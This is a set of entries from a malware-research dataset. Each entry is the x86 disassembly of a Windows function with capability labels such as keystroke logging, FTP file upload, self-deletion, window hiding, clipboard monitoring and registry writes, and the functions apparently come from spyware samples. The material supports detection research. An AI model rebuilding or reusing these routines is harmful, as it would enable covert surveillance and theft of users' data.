joyce8/EMBER2024-capa huggingface dataset:
Function at 0x13149744
Capabilities:
Get file size
Hide graphical window
Set file attributes

Disassembly:
push ebx
add esp, 0xfffffff0
call fcn.13148cac
mov byte [0x1314f749], 1
mov ebx, 0x131498d0
cmp dword [0x1314c0bc], 0
ja 0x13149773
mov edx, 0x13148d4c
mov eax, ebx
call fcn.13149358
mov dword [0x1314c0bc], eax
push 0
mov eax, dword [0x1314c0bc]
push eax
call sub.user32.dll_ShowWindow
push 0x80
mov eax, dword [0x1314d698]
push eax
call sub.KERNEL32.DLL_SetFileAttributesW
push 0
push 0
push 4
push 0
push 3
push 0xc0000000
mov eax, dword [0x1314d698]
push eax
call sub.KERNEL32.DLL_CreateFileW
mov dword [0x1314ee68], eax
cmp dword [0x1314ee68], 0xffffffff
je 0x131498c9
push 0
mov eax, dword [0x1314ee68]
push eax
call sub.KERNEL32.DLL_GetFileSize
xor edx, edx
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
cmp dword [esp + 0xc], 0
jne 0x1314980d
cmp dword [esp + 8], 0
jne 0x1314980d
mov byte [esp], 0xff
mov byte [esp + 1], 0xfe
lea eax, [esp + 4]
push eax
push 0
lea edx, [esp + 8]
mov ecx, 2
mov eax, dword [0x1314ee68]
call fcn.13147164
mov byte [0x1314f748], 1
jmp 0x13149814
mov byte [0x1314f748], 0
push 7
mov eax, dword [0x1314d698]
push eax
call sub.KERNEL32.DLL_SetFileAttributesW
push 2
push 0
push 0
mov eax, dword [0x1314ee68]
push eax
call sub.KERNEL32.DLL_SetFilePointer
call fcn.1314725c
mov ecx, eax
mov eax, ecx
cdq
cmp edx, dword [esp + 0xc]
jne 0x1314984a
cmp eax, dword [esp + 8]
jbe 0x13149869
jmp 0x1314984c
jle 0x13149869
mov dword [0x1314c120], 0
mov dword [0x1314c124], 0
xor eax, eax
call fcn.131472dc
jmp 0x13149878
mov eax, ecx
cdq
mov dword [0x1314c120], eax
mov dword [0x1314c124], edx
push 0
push 0
mov eax, dword [0x1314d688]
push eax
mov eax, dword [0x1314c0bc]
push eax
call sub.user32.dll_SendMessageA
mov eax, dword [0x1314c0bc]
push eax
call sub.user32.dll_SetClipboardViewer
cmp byte [0x1314ee63], 1
jne 0x131498c9
cmp dword [0x1314f74c], 0
je 0x131498b4
mov eax, dword [0x1314f74c]
call fcn.13145dcc
push 0
mov eax, 0x13149624
xor ecx, ecx
xor edx, edx
call fcn.13145d9c
mov dword [0x1314f74c], eax
add esp, 0x10
pop ebx
ret

Function at 0x13149918
Capabilities:
Connect to http server
Create http request
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
push 0
push 0
push 0
push 1
push 0
call sub.wininet.dll_InternetOpenW
mov esi, eax
push 0
push 0x8000000
push 1
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
push 0x15
push ebx
push esi
call sub.wininet.dll_InternetConnectW
mov edi, eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.wininet.dll_FtpSetCurrentDirectoryW
cmp eax, 1
sbb eax, eax
inc eax
push 0xffffffffffffffff
and eax, 0x7f
push eax
call sub.KERNEL32.DLL_WaitForSingleObject
push 0
push 2
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push edi
call sub.wininet.dll_FtpPutFileW
cmp eax, 1
sbb ebx, ebx
inc ebx
push esi
call sub.wininet.dll_InternetCloseHandle
push edi
call sub.wininet.dll_InternetCloseHandle
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc
Function at 0x13149b50
Capabilities:
Copy file
Delete file
Set file attributes

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov esi, edx
mov edi, eax
xor ebx, ebx
mov eax, 0x13150bb8
call fcn.13145930
cmp al, 1
jne 0x13149be8
push 0x80
push 0x13150bb8
call sub.KERNEL32.DLL_SetFileAttributesW
lea ecx, [esp + 4]
mov edx, esp
mov eax, 0x13150bb8
call fcn.13145c68
test al, al
je 0x13149bc3
push 0x22
mov edx, 0x1314c128
mov ecx, dword [esp + 8]
mov eax, dword [esp + 4]
call fcn.13145dec
test eax, eax
jbe 0x13149bbd
push 0x1e
mov edx, 0x1314c14c
mov ecx, dword [esp + 8]
mov eax, dword [esp + 4]
call fcn.13145dec
test eax, eax
ja 0x13149bc1
xor ebx, ebx
jmp 0x13149bc3
mov bl, 1
test bl, bl
jne 0x13149bd3
push 0x13150bb8
call sub.KERNEL32.DLL_DeleteFileW
jmp 0x13149c47
push 0
push esi
push 0x13150bb8
call sub.KERNEL32.DLL_CopyFileW
cmp eax, 1
sbb ebx, ebx
inc ebx
jmp 0x13149c47
mov edx, esi
mov eax, edi
call fcn.13145c04
test al, al
je 0x13149c47
mov eax, esi
call fcn.13145930
test al, al
je 0x13149c47
lea ecx, [esp + 4]
mov edx, esp
mov eax, esi
call fcn.13145c68
test al, al
je 0x13149c47
push 0x22
mov edx, 0x1314c128
mov ecx, dword [esp + 8]
mov eax, dword [esp + 4]
call fcn.13145dec
test eax, eax
jbe 0x13149c41
push 0x1e
mov edx, 0x1314c14c
mov ecx, dword [esp + 8]
mov eax, dword [esp + 4]
call fcn.13145dec
test eax, eax
ja 0x13149c45
xor ebx, ebx
jmp 0x13149c47
mov bl, 1
mov eax, ebx
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x13149d34
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
lea ecx, [ebp - 4]
push ecx
push edx
push eax
call sub.advapi32.dll_RegCreateKeyW
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push esi
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExW
test eax, eax
jne 0x13149d67
mov bl, 1
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret 0x10

Function at 0x13149d7c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 8]
xor ebx, ebx
lea eax, [ebp - 0xc]
push eax
push 1
push 0
mov eax, dword [ebp - 4]
push eax
push edi
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x13149df3
push esi
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x13149dea
push 4
push 0x1000
mov eax, dword [esi]
push eax
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov ebx, eax
push esi
push ebx
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x13149e00
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffdf4
mov ebx, eax
push esp
push 0x104
call sub.KERNEL32.DLL_GetTempPathW
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.13143aec
add esp, 0x20c
pop ebx
ret
Function at 0x1314a60c
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x3f
push 0
push 0
dec ecx
jne 0x1314a614
xor eax, eax
push ebp
push 0x1314a839
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1d4]
call fcn.13149e00
mov edx, dword [ebp - 0x1d4]
lea eax, [ebp - 4]
mov ecx, 0x1314a848
call fcn.13143b94
lea eax, [ebp - 0x1d8]
mov edx, dword [ebp - 4]
call fcn.13143734
mov edx, dword [ebp - 0x1d8]
lea eax, [ebp - 0x1d0]
call fcn.13142914
lea eax, [ebp - 0x1d0]
call fcn.131426b0
call fcn.131425bc
mov edx, 0x1314a870
lea eax, [ebp - 0x1d0]
call fcn.13143904
call fcn.13142c4c
call fcn.131425bc
push 0x1314a878
lea edx, [ebp - 0x1e0]
xor eax, eax
call fcn.131457c4
push dword [ebp - 0x1e0]
push 0x1314a8a0
lea eax, [ebp - 0x1dc]
mov edx, 3
call fcn.13143bf8
mov edx, dword [ebp - 0x1dc]
lea eax, [ebp - 0x1d0]
call fcn.1314392c
call fcn.13142c4c
call fcn.131425bc
push 0x1314a8a8
lea edx, [ebp - 0x1e8]
xor eax, eax
call fcn.131457c4
push dword [ebp - 0x1e8]
push 0x1314a8a0
lea eax, [ebp - 0x1e4]
mov edx, 3
call fcn.13143bf8
mov edx, dword [ebp - 0x1e4]
lea eax, [ebp - 0x1d0]
call fcn.1314392c
call fcn.13142c4c
call fcn.131425bc
push 0x1314a8b8
lea edx, [ebp - 0x1f0]
xor eax, eax
call fcn.131457c4
push dword [ebp - 0x1f0]
push 0x1314a8d4
lea eax, [ebp - 0x1ec]
mov edx, 3
call fcn.13143bf8
mov edx, dword [ebp - 0x1ec]
lea eax, [ebp - 0x1d0]
call fcn.1314392c
call fcn.13142c4c
call fcn.131425bc
push 0x1314a8a8
push dword [ebp - 4]
push 0x1314a8a0
lea eax, [ebp - 0x1f4]
mov edx, 3
call fcn.13143bf8
mov edx, dword [ebp - 0x1f4]
lea eax, [ebp - 0x1d0]
call fcn.1314392c
call fcn.13142c4c
call fcn.131425bc
mov edx, 0x1314a8f0
lea eax, [ebp - 0x1d0]
call fcn.13143904
call fcn.13142c4c
call fcn.131425bc
lea eax, [ebp - 0x1d0]
call fcn.131429d0
call fcn.131425bc
push 0
lea edx, [ebp - 0x1f8]
mov eax, dword [ebp - 4]
call fcn.13145b44
mov eax, dword [ebp - 0x1f8]
call fcn.13143b18
push eax
push 0
mov eax, dword [ebp - 4]
call fcn.13143b18
push eax
push 0x1314a8f8
push 0
call sub.shell32.dll_ShellExecuteW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1314a840
lea eax, [ebp - 0x1f8]
mov edx, 8
call fcn.131439e8
lea eax, [ebp - 0x1d8]
call fcn.13143544
lea eax, [ebp - 0x1d4]
call fcn.131439d0
lea eax, [ebp - 4]
call fcn.131439d0
ret

Function at 0x1314a904
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffff4
xor ebx, ebx
push esp
push 1
push 0
push 0x1314a95c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x1314a955
lea eax, [esp + 8]
push eax
push 0
lea eax, [esp + 0xc]
push eax
push 0
push 0x1314a988
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x1314a94c
cmp dword [esp + 8], 0
jle 0x1314a94c
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey
mov eax, ebx
add esp, 0xc
pop ebx
ret
Function at 0x402fcc
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x471008], 0x8088405
inc edx
mov dword [ebx + 0x471008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4036b4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x471024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x40374c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40372c
xor eax, eax
push ebp
push 0x403725
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403768
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40372c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x471024]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x471024], ax
mov esp, ebp
pop ebp
ret

Function at 0x404560
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x47c04c], 0
je 0x4045c1
cmp word [0x47c220], 0xd7b2
jne 0x404589
cmp dword [0x47c228], 0
jbe 0x404589
mov eax, 0x47c21c
call dword [0x47c238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4045e8
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x471030], 0
jne 0x4045dd
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405df0
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x406020
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405e73
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x406020
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405e73
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x40603c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405efc
xor eax, eax
push ebp
push 0x405ef5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405c2c
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405eda
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x40605c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405eda
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405efc
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x406016
cmp byte [ebp - 0xd], 0
jne 0x405f43
cmp byte [ebp - 0x12], 0
je 0x406016
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405f5c
dec ebx
cmp byte [ebx], 0x2e
je 0x405f6b
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405f5b
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x406016
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405fa8
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x406016
cmp byte [ebp - 0xd], 0
je 0x406016
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x406016
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408754
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, eax
mov eax, edx
test esi, esi
je 0x4087e4
mov edx, dword [esi - 4]
mov edi, eax
test edx, edx
jle 0x4087e4
mov ecx, dword [eax]
mov ebx, edx
test ecx, ecx
je 0x408797
test edx, 3
jne 0x408786
xor edx, dword [ecx - 4]
cmp edx, 3
jbe 0x408791
jmp 0x408797
or edx, 2
xor edx, dword [ecx - 4]
cmp edx, 1
ja 0x408797
cmp dword [ecx - 8], 1
je 0x4087a1
mov edx, ebx
or edx, 3
call fcn.00404e2c
mov edi, dword [edi]
mov dword [edi - 4], ebx
mov byte [edi + ebx], 0
add ebx, 0xffffffff
and ebx, 0xfffffffc
mov eax, dword [esi + ebx]
mov ecx, eax
or eax, 0x80808080
mov edx, eax
sub eax, 0x7b7b7b7b
xor edx, ecx
or eax, 0x80808080
sub eax, 0x66666666
and eax, edx
shr eax, 2
xor eax, ecx
mov dword [edi + ebx], eax
mov eax, dword [esi + ebx - 4]
sub ebx, 4
jge 0x4087b3
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
pop ebx
jmp fcn.004046e0

Function at 0x4087f0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, eax
mov eax, edx
test esi, esi
je 0x408880
mov edx, dword [esi - 4]
mov edi, eax
test edx, edx
jle 0x408880
mov ecx, dword [eax]
mov ebx, edx
test ecx, ecx
je 0x408833
test edx, 3
jne 0x408822
xor edx, dword [ecx - 4]
cmp edx, 3
jbe 0x40882d
jmp 0x408833
or edx, 2
xor edx, dword [ecx - 4]
cmp edx, 1
ja 0x408833
cmp dword [ecx - 8], 1
je 0x40883d
mov edx, ebx
or edx, 3
call fcn.00404e2c
mov edi, dword [edi]
mov dword [edi - 4], ebx
mov byte [edi + ebx], 0
add ebx, 0xffffffff
and ebx, 0xfffffffc
mov eax, dword [esi + ebx]
mov ecx, eax
or eax, 0x80808080
mov edx, eax
sub eax, 0x5b5b5b5b
xor edx, ecx
or eax, 0x80808080
sub eax, 0x66666666
and eax, edx
shr eax, 2
xor eax, ecx
mov dword [edi + ebx], eax
mov eax, dword [esi + ebx - 4]
sub ebx, 4
jge 0x40884f
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
pop ebx
jmp fcn.004046e0

Function at 0x40bb3c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40bb75
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004047d0
jmp 0x40bb7e
mov eax, ebx
mov edx, esi
call fcn.00404734
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40bb88
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40bbaa
movzx eax, byte [esp]
jmp 0x40bbac
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x40c23c
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40c0b4
mov eax, dword [0x47bb40]
cmp byte [eax], 0
je 0x40c2b8
mov eax, dword [0x47b924]
call fcn.0040307c
call fcn.00402e38
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.0040929c
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40c300
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40c2ee
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x47b8c4]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x47e7f8]
call fcn.00405bd4
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret

Function at 0x40cba0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40cc76
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00404778
lea eax, [ebp - 4]
call fcn.00404bf4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404ba4
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40cc60
mov eax, ebx
call fcn.00402cdc
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40cc59
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404ba4
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40cc43
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40cc88
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40cc43
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cc60
mov eax, dword [ebp - 0x10]
call fcn.00402cf8
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cc7d
lea eax, [ebp - 4]
call fcn.004046e0
ret
Function at 0x41ed90
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x47f304
cmp dword [edi], 0
jne 0x41ee0c
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x47f300]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x471aec
mov ecx, 2
call fcn.00402ecc
mov edx, 0x41ed68
lea eax, [esi + 5]
call fcn.0041ed88
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0041ed88
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41ede1
mov dword [0x47f300], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x421414
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00404ba4
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x42146c
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x47bc80]
mov dl, 1
mov eax, dword [0x420f38]
call fcn.0040c408
call fcn.00404128
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.00421040
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4225c4
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x4225ca
ret
Function at 0x43742c
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.004046e0
push 0
movzx eax, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x43747a
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404950
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43b4fc
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x43b62f
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x16], 0
lea eax, [ebp - 0x16]
push eax
call sub.user32.dll_GetKeyboardLayoutNameA
mov dl, 1
mov eax, dword [0x420f98]
call fcn.00421068
mov dword [ebp - 0xc], eax
xor edx, edx
push ebp
push 0x43b605
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, 0x80000002
mov eax, dword [ebp - 0xc]
call fcn.00421108
lea eax, [ebp - 0x20]
lea edx, [ebp - 0x16]
mov ecx, 0xa
call fcn.00404950
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x1c]
mov edx, 0x43b644
call fcn.004049f0
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
call fcn.0042116c
lea ecx, [ebp - 4]
mov edx, 0x43b680
mov eax, dword [ebp - 0xc]
call fcn.0042139c
mov edx, 0x8000
mov eax, dword [ebp - 4]
call fcn.0040deec
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x43b5e8
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x43b68c
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov ebx, eax
call ebx
movzx eax, word [eax + 0x28]
and ax, 1
cmp ax, 1
sete byte [0x472510]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43b5ef
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_FreeLibrary_1
ret

Function at 0x43b6dc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff0
mov esi, eax
lea edi, [esp]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movzx ebx, byte [esp + 4]
test bx, bx
je 0x43b723
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x43b706
add bx, 0x2000
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x43b717
add bx, 0x4000
test byte [esp + 0xb], 0x20
je 0x43b723
add bx, 0x8000
mov eax, ebx
add esp, 0x10
pop edi
pop esi
pop ebx
ret